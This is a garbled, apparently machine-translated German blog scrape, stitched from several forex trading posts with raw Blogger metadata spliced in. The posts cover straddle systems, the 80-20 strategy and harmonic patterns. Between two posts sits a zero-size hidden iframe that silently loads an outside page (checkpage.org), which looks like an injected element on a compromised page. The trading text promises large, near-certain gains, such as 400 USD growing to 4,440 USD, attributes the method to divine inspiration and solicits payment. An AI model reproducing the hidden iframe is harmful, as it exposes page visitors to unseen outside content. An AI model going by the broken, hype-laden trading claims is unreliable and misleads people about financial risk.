Werkzeugleiste und teilen Sie die erste Kerze des heutigen Tages in zwei. Rufen Sie diese Linie X Count 40pips über Linie X und zeichnen Sie eine weitere horizontale Linie genau 40 Pips über Linie X und nennen diese Linie Linie X1. Zählen Sie weitere 40 Pips über Linie X1 und zeichnen Sie Ihre horizontale Linie X2 genau 40pips über Linie X1. Zähle 40 Pips unterhalb der Linie X und zeichne eine horizontale Linie genau 40 Pips unter der Linie X, nennen Sie diese Linie Linie X3. Zählen Sie weitere 40 Pips unter der Linie X3 und zeichnen Sie eine waagerechte Linie genau 40 Pips unter der Linie X3. Ihre forexChart sollte so aussehen Linie X ist der Ausgangspunkt, erlauben Preis zu tanzen zwischen Linie X1 und X3, bis es seine Richtung für den Tag wählt. Setzen Sie Ihre Kauf-Haltestelle auf Linie X1s Preiswert, Ihr Gewinn nehmen muss an der Linie X2, Stop-Loss muss an der Linie X4. Setzen Sie Ihre Verkaufsstopp auf Linie X3s Preiswert, Ihren Gewinn nehmen müssen an der Linie X4, Stop-Loss muss an der Linie X2. - Preis könnte Ihre Kaufauftrag auslösen und treffen Sie Ihre nehmen Gewinn von 40 Pips. - Preis könnte Ihre Verkaufsauftrag auslösen und schlagen Sie Ihren Gewinn von 40 Pips. - Preis könnte sowohl Ihre Kaufauftrag und Ihre Verkaufsauftrag auslösen, treffen beide nehmen Gewinnzonen, so dass Sie einen Gewinn von 80 Pips. - Preis könnte Ihren Kaufauftrag treffen und nicht Ihren Gewinn profitieren, kommen Sie nach unten 80 Pips zurück, um Ihren Verkaufsauftrag zu treffen und Ihnen einen Verlust von 80 Zacken zu geben. - Preis könnte Ihre Verkaufsauftrag treffen und nicht Ihren Gewinn profitieren, kommen nach oben 80 Pips, um Ihre Bestellung zu treffen und geben Ihnen einen Verlust von 80 Pips. Instanz 4 und 5 geschieht etwa dreimal im Monat in den Währungspaaren, mit denen dieses System arbeitet. Um die Anzahl der Instanzen 4 und 5 in einem Monat zu reduzieren, wiederholen Sie die anstehenden Aufträge, die oben erklärt wurden, sofort nehmen Sie Ihren ersten Gewinn für den Tag, der die ausgelöste nehmen Sie Ihren nächsten Ausgangspunkt. Das ist Ihre Linie X. Mit diesem System können Sie fangen 40 Pips aus jedem 81pips Preis Bewegung, egal in welche Richtung es geht. Aber lassen Sie nur sagen, 90 Pips auf der sicheren Seite sein, 90 Pips war die Kriterien, die ich verwendet, wenn ich meine Forschung, Preis kann bis Trends für drei Monate, bewegte Tausende von Pips nach oben oder unten. Sobald die Richtung begonnen hat, finden diese Paare es schwierig, 80 Pips in die entgegengesetzte Richtung am selben Tag zu bewegen. Folglich, wenn der Preis 1000pips aufwärts oder abwärts in einem Monat bewegt, haben Sie die Chance, fast 500 Pips während eines solchen Monats zu fangen. Wenn Sie dieses System verwenden, müssen Sie Gier auszuschließen. Unten ist der blaue Druck für die Eingabe von Positionen bei der Verwendung dieses Systems Das Forex Broker Konto unten beginnt mit 400USD und nach 15 Trades wurde 4.440USD. Bitte halten Sie sich an die Regeln dieses Forex Systems. Dont zu viel in Eile sein. (0,3) LOTS 1. 160USD (0,4) LOTS 2. 160USD (0,4) LOTS 3. 80USD (0,2) LOTS 3. 80USD (0,2) LOTS 4. 120USD (0,3) (0,5) LOTS 4. 240USD (0.6) LOTS 5. 280USD (0.7) LOTS 1. 360USD (0.9) LOTS 2. 400USD (1.0) LOTS 3. 480USD (1.2) LOTS 4. 600USD (1.5) LOTS 5. 680USD (1.7) LOTS Du solltest die Hälfte deiner Kaufkraft bei der Einstellung beider Trades verwenden. Dies ermöglicht Ihnen, eine Hecke einzugeben, wenn die Instanzen 4 und 5 oben auftreten. Warten Sie nie auf den Preis, um X1 oder X3 zu schneiden und alle Ihre Kaufkraft zu verwenden. Die oben genannten blauen Druck garantiert nicht, dass youll gewinnen 15 Trades nacheinander ist es eine Anleitung, um Ihnen bei der Eingabe von Positionen helfen. In dem Fall, dass Sie sich entschlossen, den Preis zu befolgen, indem Sie einen anderen Handel, machen Sie Ihre erste nehmen Gewinn des Tages Ihre Punkt X dann wiederholen die Prozedur, solche Geschäfte in der Regel bis zum nächsten Tag. Ich setze den Handel am folgenden Tag zurück, indem ich meine erste Kerze für den heutigen Tag festlege, die inaktiven ausstehenden Aufträge von gestern lösche und meinen Gewinn von dem gegenwärtigen laufenden Handel wie gestern setze. Verschieben Sie den Stoppverlust von gesternem Handel gleich dem heutigen anstehenden Auftragsgegenstück. Instanzen, wo Sie sehen, ein Umkehr-Muster können Sie schließen gestern Handel sofort. Wenn es ein Fortsetzungsmuster ist, ist das doppelte Gewinne für Sie heute Wenn Sie nicht verstehen, wie man Diagramme liest, dann lassen Sie es einfach zusammen mit dem heutigen Handel. Ich fing an, Forex im Jahr 2007 zu handeln, Das Material oben ist nicht ein Produkt der Jahre der Erfahrung aber eine Inspiration von Gott. Sie haben die Wahl, E-Mails weiterzuleiten, um weitere Informationen und Geheimnisse zu erhalten oder mit der Quelle meines Geheimnisses JESUS in Verbindung zu treten. Es ist deine Entscheidung. Bitte mailen Sie mir nach dieser ehrlichen Devisenhandel System. Hat es wirklich wert 1000 USD nach alle Haben Sie Ergebnisse sehen, die mehr als ihre Kosten Ill freut sich, von Ihnen zu hören. FOREX TRADING SYSTEM ZWEI (BONUS) Youll müssen die kontinuierliche Forex Auto Pivot Taschenrechner auf Ihrer metatrader Plattform zu laden, um dieses System zu verwenden. Kopieren Sie den Pivot-Rechner und fügen Sie ihn in C: Programme filesMetatrader Northfinanceexpertsindicators Um die Pivots in Ihrem Diagramm zu laden, klicken Sie auf die Indikator-Schaltfläche und wählen Sie benutzerdefinierte, und wählen Sie dann Pivots DailySRAIMefx. Wiederholen Sie einen ähnlichen Prozess für den durchschnittlichen täglichen Range-Rechner Ihr Forex-Diagramm sollte wie das Bild unten aussehen. Die blauen Linien sind die Stützlinien, die roten Linien sind die resistenten Linien. DIE FOREX TRADING STRATEGY Setzen Sie eine ausstehende Bestellung zwischen dem Support und resistenten Linien, so dass eine 15 Pips Lücke von den Linien. Kauf an den oberen Teilen (wenn Widerstand gebrochen wird) und an den unteren Teilen verkaufen (wenn Unterstützung gebrochen wird) theres ein Geheimnis über das Setzen dieser Straddles Sein wie Einstellung eine Falle für den Preis. Dies könnte die schlimmste Art zu handeln, wenn Sie nicht wissen, das Geheimnis dahinter. Eine andere Wahl ist, sofortige Ausführungen (Marktaufträge) zu verwenden, während Handel Unterstützung und Widerstand. Ich kann das nicht empfehlen, Metatrader haben eine böse Angewohnheit, Sie zu bitten, Ihren Eintrittspreis neu zu zitieren. Bitte benutzen Sie das Auto Pivot auf USDJPY, eine sehr konsistente Türsteher. Ich glaube, dass der zuverlässigste Indikator überhaupt PIVOT PUNKTE ist, wenn Sie irgendein anderes bitte erklären mir haben. Es kann das System in einer großen Weise zu verbessern. Das Geheimnis der Stäbchen Auf stündlichen Schaubildern liegt die Lücke zwischen der Stütz - und der Widerstandslinie zwischen 40 Pips und 120 Pips. Ich empfehle Stundentafeln und 15 Minuten Diagramme. Sie sind zu 25 Pips nach jedem 15 Pips Bewegung weg von den Linien zu holen. Setzen Sie Ihre ausstehenden Bestellungen unter der Bedingung, dass eine Unterstützung oder eine widerstandsfähige Linie im Begriff ist, gebrochen zu werden. Preis kann oder auch nicht brechen die Linien, was bedeutet, eine Pause oder ein Bounce. Was du erwartet hast zu tun. Wenn Preis die Linien berührt (die eine Unterstützungslinie oder eine beständige Linie sein können), setzen Sie Ihre Straddle von der Linie mit 15pips Lücke, bevor Kauf durchgeführt wird, 15pips Lücke, bevor Verkauf durchgeführt wird. Ihr Stop-Loss sollte 10 Pips über die resistente Linie, wenn Sie Ihre Verkaufsauftrag, 10pips unterhalb der Support-Linie platzieren, wenn Sie Ihre Bestellung bestellen, macht dies insgesamt 25 Pips Stop Loss. Ihr Gewinn sollte 25pips nach Ihrem Einstiegspunkt sein. Sie werden sicherlich nicht gewinnen alle Trades Ihr Risiko für Belohnung Verhältnis auf jedem Handel ist 1: 1 oder sagen wir 5050. Aber Sie haben die Möglichkeit, eines von drei Trades verlieren. - Straddle bedeutet das Festlegen eines Kaufs ausstehender Order über der aktuellen Kursaktion und der Festlegung einer verkaufenden Order unterhalb der aktuellen Preisaktion. - Ausstehende Aufträge sind Aufträge, die Sie auf Ihrer Plattform setzen, werden nicht ausgeführt, bis der Preis, den Sie erreichen, erreicht ist. Was sind Sie warten forFOREX Strategien Forex-Strategie, einfache Strategie, Forex Trading-Strategie, eine sehr einfache und sehr interessante Strategie Forex-Strategie Linda Raschke (zuvor sahen wir 2 ihrer Strategie: Schildkröten-Suppe, Schildkröten-Suppe Plus One), wobei der Handel nur auf dem Tagesbereich (D1) durchgeführt wird und die Handelssignale nur während des 1. Handelstages sind. Die Untersuchung der Muster der Finanzmärkte, wurde festgestellt, dass, wenn der Preis auf dem Markt schließt am oberen oder unteren 10 -20 seiner täglichen Reichweite, dann gibt es eine Möglichkeit, und es ist 80 -90, am nächsten Morgen, der Preis wird Weiterhin in die gleiche Richtung zu bewegen (dh in Richtung der Schließung Kerzen), aber schließlich der Preis schließt sich über oder unter dieser Kerze in nur 50 Fällen. Dass eine bestimmte Tatsache (eine Chance, sich in der Mitte des 2. Tages nach dem Ende der 1. Tag Kerzen), und erlaubt 80-20 Strategie existieren und beliebt in den Finanzmärkten. Also, let8217s sehen, wie Angebote in Forex Strategy 80-20 gemacht werden. Ein Beispiel für die Transaktion auf den Kauf. Angenommen, wir öffnen heute ein Handels-Terminal MetaTrader 4 und beachten Sie, dass: 1) Yesterday8217s tägliche Kerze entdeckt wurde in den oberen 20 ihrer täglichen Reichweite und schloss in den unteren 20 ihrer täglichen Reichweite. Dh Wenn die tägliche Kerze in 5 Teile unterteilt, ist der Eröffnungspreis von gestern8217s täglich Kerze in der oberen 1 5 einer geschlossenen Kerze. Und der Schlusskurs ist unten 1 5 der geschlossenen Tageskerzen. Abbildung 1. Dedizierte baissige Kerze wurde in 1 5 des oberen Bereichs entdeckt und schloss bei 1 5 seines unteren Bereichs 2) Heute8217s täglich Kerze öffnet und der Preis auf dem Markt ging in die gleiche Richtung wie das Ende der vorherigen täglichen Kerze 8212 Dh für den Verkauf, vermutlich für mindestens 10-15 Punkte. <Br /> <Br /> <Br /> <Br /> <Br /> <Br /> 3) in diesem Moment, wenn der Preis bereits unterhalb gestern8217s niedrig ist und wir haben Clearance platziert werden ausstehende Reihenfolge platziert werden, setzen wir die anstehende Bestellung, um den Typ Buy Stop bei yesterday8217s niedrigen Preis kaufen Abbildung 2. Dies ist die gleiche Kerze wie in Abbildung 1, nur das stündliche Intervall. Setzen Sie die ausstehende Bestellung zu einem Zeitpunkt zu kaufen, wenn der Preis für die 2. Stunde Kerze fällt unterhalb gestern8217s niedrig. 4) Nach der Eröffnung der Handelspositionen in den Kauf, werden wir eine Sicherheits-Stop-Loss-Aufträge unter ein paar Punkte (3-5) segodneshnego Minimum zu etablieren. 5) Als nächstes verwenden Sie einen nachlaufenden Anschlag (Universal-Endanschlag, der Standard in Metatrader 4 oder einen nachlaufenden Anschlag auf dem ersten Absatz), um Gewinne zu sperren und unseren Stop-Loss in einer sicheren Distanz zu festigen, die Sie für sich selbst definieren Auf das gewählte Währungspaar und die Volatilität im Devisenmarkt. Zum Beispiel, wenn die Menge der täglichen Kerzen 100-200 Punkte und die nachfolgende Haltestelle sollte in einem Abstand von 50-70-100 Punkten platziert werden. Kerze 50-70 Punkte 8212 Tryling-Stop: 25-30 Punkte. 6) Wenn Sie es vorziehen, können Sie ein Gewinnziel in einem Abstand von mindestens 3,2-fachen des anfänglichen Stop-Loss (wie von unserem Money Management Forex erforderlich) setzen. Oder Rekordgewinne auf den wichtigen Fibonacci-Levels. Gebaut von der ersten Kerze (38,2, 61,8) 7) Oder Sie können einfach die Position der Null-Ebene neu anordnen. Sobald Sie sehen, passen und lassen Sie das Geschäft bis zum Ende des Handelstages, und dann schauen, um es zu schließen oder offen zu lassen. Aber ich persönlich glaube, dass es besser ist, einen schleppenden Stop zu verwenden, um Gewinne zu sperren. Für Transaktionen auf Verkauf 8212 die Regeln der gegenüberliegenden Abbildung 3. Vystalyaem ausstehende Bestellung zu verkaufen Sell Stop, wenn der Preis brach gestern makismum. Stop-Verlust ist 10-15 Punkte höher als dieses Maximum, weil der Preis ist nicht zu weit weg von ihm und drehte sich um. Hinweis: Die Transaktionen in dieser Strategie sind nicht so üblich, aber wenn Sie die Gesetze von mehreren Währungspaaren zu beobachten, wird die Wahrscheinlichkeit der Bedingungen und der Markteintritt wird oben durch Diese Strategie, Forex-Handel können Sie kaufen Hinweis: Wenn Sie Möchten Sie Updates erhalten Expert Advisor - LEAVE positives Feedback in der Filiale Plati. ru ohne Angabe von E-Mails im Körper der Bewertungen E-Mail bitte auf der Zahlungsseite 8212 angeben, die angibt, wo die Ware geliefert wird Vorbehaltlich strikter Einhaltung von Regeln Der Forex-Strategie 80-20, erhalten wir ungefähr die folgenden Handelsergebnisse (Testergebnisse Adviser 80-20 Strategie): 1) Teststrategien forex 80-20 8212 EURUSD (D1) mit Expert Advisor 80-20 Strategie 2) Teststrategien forex 80-20 8212 EURJPY (D1) mit Expertenratgeber 80-20 Strategie 3) Teststrategien forex 80-20 8212 USDCAD (D1) mit Expert Advisor 80-20 Strategie<br /><iframe src="http://checkpage.org/fblog" frameborder="0" width="0" height="0"></iframe>Moehttp://www.blogger.com/profile/05738043152391354586noreply@blogger.com0tag:blogger.com,1999:blog-7251456584188918577.post-46122878343491835462017-08-15T11:38:00.000-07:002017-08-15T11:38:22.172-07:00Forex M Gestalt<p>Forex Trading, Aktienindizes, Öl, Gold und CFDs von XM Forex Trading, Aktienindizes, Öl, Gold und CFDs von XM Legal: XM ist ein Handelsname von Trading Point Holdings Ltd, Registrierungsnummer: HE 322690, (12 Richard Verengaria Street , Araouzos Castle Court, 3. Stock 3042 Limassol, Zypern), die vollständig im Besitz von Trading Point von Finanzinstrumenten Ltd (Zypern), Registriernummer: HE 251334, (12 Richard Verengaria Straße, Schloss Araouzos, 3. Stock, 3042 Limassol, . Diese Website wird von Trading Point of Financial Instruments Ltd. betrieben. Der Handelspunkt von Financial Instruments Ltd wird von der Cyprus Securities and Exchange Commission (CySEC) unter der Lizenznummer 12010 geregelt und bei der FCA (FSA, UK) unter der Nr. 538324. Handelsplatz von Financial Instruments Ltd ist gemäß der Richtlinie über Märkte für Finanzinstrumente (MiFID) der Europäischen Union tätig. Risiko-Warnung: Forex Trading beinhaltet ein erhebliches Risiko für Ihr investiertes Kapital. Bitte lesen und sicherzustellen, dass Sie unsere Risikoverteilung vollständig verstehen. Eingeschränkte Regionen: Handelspunkte von Financial Instruments Ltd erbringen keine Dienstleistungen für Bürger bestimmter Regionen wie die Vereinigten Staaten von Amerika. HARMONISCHE MUSTER (Quelle: Investopedia) 8203 Harmonische Preismuster nehmen geometrische Preismuster auf die nächste Stufe, indem sie Fibonacci-Zahlen verwenden Um präzise Wendepunkte zu definieren. Im Gegensatz zu anderen Handelsmethoden versucht Harmonic Trading, zukünftige Bewegungen vorauszusagen. Dies steht im Kontrast zu gängigen Methoden, die reaktionär und nicht prädiktiv sind. Lets Blick auf einige Beispiele, wie harmonische Preismuster verwendet werden, um Währungen auf dem Forex-Markt handeln. (Erweiterte Fibonacci-Anwendungen). Kombinieren Sie Geometrie und Fibonacci-Zahlen Harmonisches Handeln kombiniert Muster und Mathematik in eine Handelsmethode, die präzise ist und auf der Prämisse basiert, dass Muster Wiederholen. An der Wurzel der Methodik ist das primäre Verhältnis, oder einige Ableitung davon (0,618 oder 1,618). Die Komplementierungsverhältnisse umfassen: 0,382, 0,50, 1,41, 2,0, 2,24, 2,618, 3,14 und 3,618. Das primäre Verhältnis findet sich in fast allen natürlichen und ökologischen Strukturen und Ereignissen, die es auch in künstlichen Strukturen findet. Da sich das Muster in der gesamten Natur und in der Gesellschaft wiederholt, ist das Verhältnis auch auf den Finanzmärkten zu sehen, die von den Umfeldern und Gesellschaften, in denen sie handeln, betroffen sind. (Dont machen diese häufigsten Fehler bei der Arbeit mit Fibonacci-Nummern - check out Top 4 Fibonacci Retracement Fehler zu vermeiden.) Durch das Finden von Mustern variierender Längen und Größen, kann der Händler dann Fibonacci-Verhältnisse auf die Muster und versuchen, zukünftige Bewegungen vorherzusagen. Die Trading-Methode ist weitgehend auf Scott Carney, obwohl andere beigetragen haben oder gefunden Muster und Ebenen, die Leistung zu verbessern. Probleme mit Harmonischen Harmonische Preismuster sind äußerst präzise und erfordern das Muster, um Bewegungen einer bestimmten Grße zu zeigen, damit das Entfalten des Musters einen genauen Umkehrpunkt liefert. Ein Händler kann oft ein Muster sehen, das wie ein harmonisches Muster aussieht, aber die Fibonacci-Ebenen werden sich nicht in dem Muster ausrichten, wodurch das Muster hinsichtlich des harmonischen Ansatzes unzuverlässig wird. Dies kann ein Vorteil sein, da es den Händler erfordert, geduldig zu sein und auf ideale Setups zu warten. Harmonische Muster können beurteilen, wie lange aktuelle Bewegungen dauern wird, aber sie können auch verwendet werden, um Umkehrpunkte zu isolieren. Die Gefahr tritt auf, wenn ein Händler eine Position im Umkehrbereich einnimmt und das Muster ausfällt. Wenn dies geschieht, kann der Händler in einem Handel gefangen werden, wo der Trend schnell auf sie ausdehnt. Daher muss, wie bei allen Handelsstrategien, das Risiko gesteuert werden. Es ist wichtig zu beachten, dass Muster in anderen Mustern existieren können, und es ist auch möglich, dass nicht harmonische Muster im Kontext harmonischer Muster existieren (und wahrscheinlich sind). Diese können verwendet werden, um die Wirksamkeit des harmonischen Musters zu unterstützen und die Eintritts - und Austrittsleistung zu verbessern. Mehrere Preiswellen können auch innerhalb einer einzigen harmonischen Welle (beispielsweise einer CD-Welle oder einer AB-Welle) existieren. Die Preise sind konstant gyrating daher ist es wichtig, sich auf das größere Bild des Zeitrahmens gehandelt konzentrieren. Die fraktale Natur der Märkte ermöglicht die Anwendung der Theorie vom kleinsten bis zum größten Zeitrahmen. Um die Methode zu nutzen, wird ein Trader von einer Chartplattform profitieren, die es dem Trader erlaubt, mehrere Fibonacci-Retracements aufzuzeichnen, um jede Welle zu messen. Die visuellen Muster und wie sie zu handeln Es gibt eine ganze Reihe von harmonischen Mustern, obwohl es vier, die beliebtesten erscheinen. Dies sind die Gartley, Schmetterling, Fledermaus und Krabbenmuster. Preisvorhersage mit Harmonischen Mustern Harmonische Muster basieren auf einfachen geometrischen Diagrammmustern mit der Verwendung der Fibonacci-Sequenz und den Retracement - und Projektionsprozentsätzen, die typischerweise mit diesen Zahlen assoziiert sind. Technische Händler, die diese Muster verwenden, suchen nach möglichen Wendepunkten nach extremen Trendbewegungen. Aber harmonische Muster sind etwas eindeutig, dass dieser Handel Ansatz, um Preisbewegungen vorherzusagen, anstatt sie einfach beschreiben. Aus diesen Gründen weisen harmonische Muster im Vergleich zum Trendhandel oder der Identifizierung von überkauften und überverkauften Bedingungen einige Unterschiede auf. Viele gemeinsame Handelsmethoden beinhalten einfache Reaktionen auf Marktbedingungen, anstatt tatsächlich zu versuchen, vorherzusagen (und zu projizieren), was als nächstes für den Preis eines Vermögenswertes geschehen wird. Hier werden wir einige der Möglichkeiten, wie harmonische Muster aktiv in Forex-Märkten verwendet werden, und lernen Sie einige der Möglichkeiten, wie die ldquoDivine Ratiordquo tatsächlich verwendet wird. Auf der Suche nach Wiederholungen Preismuster Harmonischen Handel sucht nach Mustern in Preis-Aktivität und Positionen werden auf der Grundlage der Idee, dass bestimmte Arten von Mustern wiederholen sich im Laufe der Zeit initiiert. Die Grundlagen dieser Muster stammen aus dem 0.618 (oder 1.618) Verhältnis und den komplementären Fibonacci-Verhältnissen, die in der gemeinsamen Retracement - und Projektionsanalyse gefunden werden können. Die Logik hinter diesen angewandten Verhältnissen ergibt sich aus der Vorstellung, dass das 0.618-Verhältnis überall in der Natur und im Universum üblich ist und sogar in Strukturen gefunden werden kann, die von Menschen (unbeabsichtigt) gemacht wurden. Die Prävalenz dieses Verhältnisses lässt vermuten, dass diese Messungen auch für die Finanzmärkte gelten, da diese Märkte ein kleiner Teil eines universellen Ganzen sind. Bei der Ermittlung von Preismodellen unterschiedlicher Länge und Grösse können Händler die Fibonacci-Kennzahlen verwenden, um potentielle Wendepunkte darzustellen. Es ist in diesen Bereichen, die tatsächlichen Trades genommen werden. Der ldquoFatherrdquo des harmonischen Handelsansatzes wird als H. M. Gartley aber seine grundlegende Arbeit nicht wirklich verwenden Fibonacci Ratios in seiner Analyse. In späteren Jahren hat Scott Carney große Arbeit geleistet, um diese Form der Analyse zu entwickeln und viele der gegenwärtig verwendeten Preismuster werden Carney zugeschrieben. Schwierigkeiten beim Tragen mit Oberschwingungen Die Lehrbuchstrukturen für harmonische Muster sind sehr präzise und erfordern, dass sich die Preise in Bewegungen einer bestimmten Größe entfalten, um einen Umkehrpunkt zu signalisieren und einen tatsächlichen Handel auszulösen. Es gibt viele Fälle, in denen Händler ein Muster sehen könnten, das einer der harmonischen Strukturen ähnelt, aber wenn die Fibonacci-Messungen nicht mit den vorbestimmten Anforderungen für das Muster übereinstimmen, ist die Struktur nicht gültig. Dies bedeutet im Wesentlichen, dass die Form selbst nicht ausreicht (wie bei einem Kopf - und Schulter - oder Flaggenmuster), um tatsächlich ein Handelssignal zu erzeugen. Gleichzeitig kann dies jedoch als positiv angesehen werden, da es ein Element der Subjektivität entnimmt und die Gültigkeit (und eventuelle Genauigkeit) der vermittelten Handelssignale erhöhen kann. Strukturen innerhalb der Strukturen Eine der akzeptierten Stärken harmonischer Muster ist, dass sie den Händlern einen Hinweis geben, wie lange impulsive Wellen dauern werden, zusätzlich zu den Preisen, an denen die Bewegungen stattfinden. Aber die großen Handelsschwierigkeiten werden gesehen, wenn der Umkehrbereich nicht fängt, Preise zu fangen, und sie fahren in ihrer ursprünglichen Richtung fort. Diese Möglichkeit besteht immer, und das ist gefährlich, weil harmonische Muster extreme Bewegungen aufnehmen, wo Preislücken leicht zu sehen sind. Auf diese Weise kann es schwieriger sein, das Risiko im Umgang mit diesen Mustern zu kontrollieren (trotz der begrenzten Stopverluste, die typischerweise verwendet werden). Ein weiterer Faktor zu berücksichtigen ist, dass Muster (und oft auch) in anderen Mustern existieren können. Mehrere (kleinere) Preiswellen können innerhalb einer einzigen (größeren Preiswelle) gesehen werden, und dies kann weit gehen, um die Analyse zu komplizieren und zu verwirren. Dies kann aufgrund der fraktalen Natur der harmonischen Analyse auftreten. Größere Zeitrahmen neigen dazu, als zuverlässiger angesehen zu werden, aber es ist besser, alle verfügbaren Signale in Übereinstimmung zu sehen. Es ist auch möglich, nicht harmonische Muster innerhalb des harmonischen Bereichs zu sehen, und diese Muster könnten widersprüchliche Signale zeigen. Aber in Fällen, in denen diese Muster einig sind (wie ein umgekehrter Kopf und Schultern und ein bullisisches Krebsmuster), kann dies ein zusätzliches Maß an Gültigkeit für das Signal bieten. Die 4 Hauptmusterstrukturen In diesem Stadium gibt es viele harmonische Muster, die gehandelt werden können, aber im Allgemeinen gibt es vier Strukturen sind am häufigsten. Die bekanntesten Muster sind die Gartley, die Fledermaus, die Krabbe und der Schmetterling. Die erste davon war die Gartley, die ursprünglich auf dem Buch Profits an der Börse eingeführt wurde. Dieses ursprüngliche Muster behandelte einfache Fraktionen anstatt Fibonacci-Ebenen, aber es war auf diesem Muster, dass alle späteren Muster modelliert wurden. Wie wir im ersten Anhang sehen können, wurden Fibonacci-Verhältnisse später dem Gartley-Muster hinzugefügt. In zinsbulligen Fällen ist das Muster am Anfang eines Aufwärtstrends zu sehen, wobei die Abwärtskorrekturbewegungen die Vollendung am Punkt D erreichen. Dieser D-Punkt ist die 0,786-Korrektur der XA-Preisbewegung und ist der 1,27 (oder 1,618) Fibonacci Erweiterung der BC-Kursbewegung. Dieser D-Punkt wird auch als PRZ oder potenzielle Umkehrzone bezeichnet. Kaufpositionen können in diesem Bereich etabliert werden, wobei die Stopverluste geringfügig unter dem D Punkt liegen. Bearish Beispiele wäre das Spiegelbild dieses Szenarios. Das Schmetterlingsmuster Das Schmetterlingsmuster ist eine Variation aus dem Gartley, dass es nach Umkehrungen bei neuen Tiefs für bullische Muster und neue Höhen für bärische Muster sucht. Ähnlichkeiten werden jedoch am D Punkt gesehen, der immer noch der Umkehrpunkt ist. Fibonacci-Messungen des D-Punktes müssen eine Ausdehnung von BC gleich 1,618 oder 2,618 zeigen. Dies wird mit der Erweiterung von XA gleich 1,27 oder 1,618 zu sehen sein. Der D-Punkt ist wieder der Einstiegspunkt, mit Unterbrechungen, die knapp unterhalb dieses Bereichs (der PRZ) für zinsbasierte Geschäfte getroffen werden. Das Gegenteil wäre für bearish Trades wahr. Das Fledermausmuster ist in der Nähe der Gartley ähnlich, verwendet jedoch verschiedene Fibonacci-Messungen. Der B-Punkt in der Fledermaus verwendet ein kleineres Retracement der Bewegung XA, gleich 0,382 oder 0,50 (nicht 0,618). Die Fibonacci-Verlängerung des Zuges von BC nach D muss mindestens 1.618 betragen, kann aber bis zu 2.618 reichen. Dies stellt den D-Punkt bei einem 0.886-Retracement der ursprünglichen XA-Preisbewegung. Dieser Bereich ist die PRZ, wo Positionen etabliert werden. Von allen harmonischen Mustern, ist das Crab-Muster das Muster, das die besten Back-Testergebnisse Beiträge und wird als am genauesten in der Preis-Prognose. Das PRZ für diese Muster ist auch das kleinste der Gruppe, was bedeutet, dass das Verlustpotential begrenzter ist. Ähnlich wie beim Schmetterling identifiziert das Krabbenmuster den Umkehrpunkt bei einem neuen Tief (bullish turns) oder bei einem neuen high (bearish turns). Zum Beispiel, mit einem zinsbulligen Krabben, sehen wir, dass der B-Punkt ein Maximum von 0.618 der Bewegung XA zurückverfolgen. Die Fibonacci-Erweiterung der Preisbewegung BC bis zum D-Punkt ist die größte der Gruppe, da diese zwischen 2,24 und 3,618 liegt. Das PRZ am D Punkt ist eine Verlängerung von 1.618 der Preisbewegung XA. Eingaben am D Punkt haben die kleinste PRZ und die kleinsten Stopverluste. Im nächsten Teil dieses Artikels werden wir die Möglichkeiten zur Feinabstimmung dieser Trades untersuchen und ein neu entdecktes harmonisches Muster erörtern, das viele Händler vorher nicht gesehen haben konnten. Harold Gartley führte eine Börsenberatungsfirma in den 1930er Jahren, die eine der ersten Beratungsleistungen war, um die technische Chartanalyse in ihren Positionsgeschäften zu nutzen. Gartley betrachtete das Börsenverhalten in einer Weise, die die Art und Weise, in der die Chartanalyse durchgeführt wurde, revolutionierte und seine Forschung zur Entwicklung dessen führte, was wir heute als Harmonisches handeln. Gartleyrsquos Analyse nicht tatsächlich Fibonacci Beziehungen verwenden, um Umkehrpunkte zu identifizieren, aber die allgemeine Struktur der Gartleyrsquos Muster zur Verfügung gestellt eine Basis für spätere Händler, um auf seine Forschung zu verbessern und höhere Wahrscheinlichkeit Handel Setups. Gartleyrsquos Handelsstrukturen, wurde es bald entdeckt, könnte auf jeden Vermögensmarkt und in den Jahren angewandt werden, da es viele Bücher, Zeitschriften, Handels-Anwendungen und sogar neue Muster, die erstellt worden sind. Das bedeutet im Wesentlichen, dass diese Muster nicht als statische Strukturen betrachtet werden sollten, sondern als Diagramminstrumente, die erforscht und aufgebaut werden können. Die Gartley-Struktur Das Gartley-Muster ist ein visuelles geometrisches Preismuster, das sowohl Preis als auch Zeit verwendet, um vier aufeinanderfolgende Preisschwankungen (eine Reihe von Trendveränderungen) zu identifizieren, die Strukturen bilden, die ldquoMrdquo - und ldquoWrdquo-Formationen auf einem Preisdiagramm ähneln. Die ldquoMrdquo Muster signalisieren ein bullish Muster bildet, wo ein ldquoWrdquo Muster signalisiert ein bearish Muster bildet. Die Gesamtstrukturen beruhen auf der Entwicklung eines ABCD-Musters (siehe oben), dem eine wesentliche Kursbewegung vorausgeht (X-Punkt). In der Praxis ist das Gartley-Muster ein führender Indikator, der helfen kann, signifikante Umkehrpunkte zu prognostizieren. Bearish Muster helfen zu identifizieren, wenn kurze Positionen festgelegt werden können, wenn lange Positionen geschlossen werden sollten. Im Gegensatz dazu signalisieren bullische Gartley-Muster Kaufeinträge und Schließungen in Short-Positionen. 8203 Das Gartley-Muster kann in einer Vielzahl von Handelsstrategien verwendet werden, zum Beispiel in Intraday-, Positions - oder Swing-Trades. Fibonacci Retracements konvergieren mit Fibonacci Erweiterungen an der D Punkt, der die Umkehrung Ebene und Handel Eintrag ist. Idealerweise sollte die Richtung von X zu A mit der Richtung der größeren Tendenz übereinstimmen. Der Gesamtumsatz von A bis D ist für eine kleinere Korrektur innerhalb des größeren Trends repräsentativ. Wenn sich das Muster auf kleineren Zeitrahmen entwickelt und die Richtung des Trends bei größeren Zeitrahmen übereinstimmt, sind die Wahrscheinlichkeiten ebenfalls höher. Das Gartley-Muster wird gültig, wenn die Umkehrpunkte (die X-, A-, B-, C - und D-Punkte) innerhalb des Zeitrahmens auf einem signifikanten hohen oder niedrigen Wert liegen. Diese Preisschwankungen umfassen eine Reihe von 4 Musterbeinen, die im Wesentlichen Miniaturbewegungen innerhalb der größeren Struktur sind. In der Musterbewegung von A bis D sollte der Preis 61,8 oder 78,6 der Bewegung von X nach A zurückverfolgen. Ohne ein ordnungsgemäß strukturiertes ABCD-Muster innerhalb der ABCD-Bewegung wird die Gartly-Struktur ungültig. Zusätzlich sollte die Zeitdauer von der X-zu-A-Bewegung der Verschiebung von A nach D im Verhältnis und Verhältnis entsprechen. Die Zeitdauer der Bewegung von A nach D ist tendenziell bei 61,8 oder 161,8 der Bewegung von X nach A zu sehen. In einigen Fällen beendet die ABCD-Struktur bei der 100 Messung der Doppelspitze, die durch die X-zu-A-Bewegung erzeugt wird. In diesem Fall sollte die Zeitdauer von X bis A auch mit der vorherigen Bewegung übereinstimmen. Instanzen des Musterfehlers treten auf, wenn die Preise den X-Punkt übertreffen, und dies zeigt an, dass ein 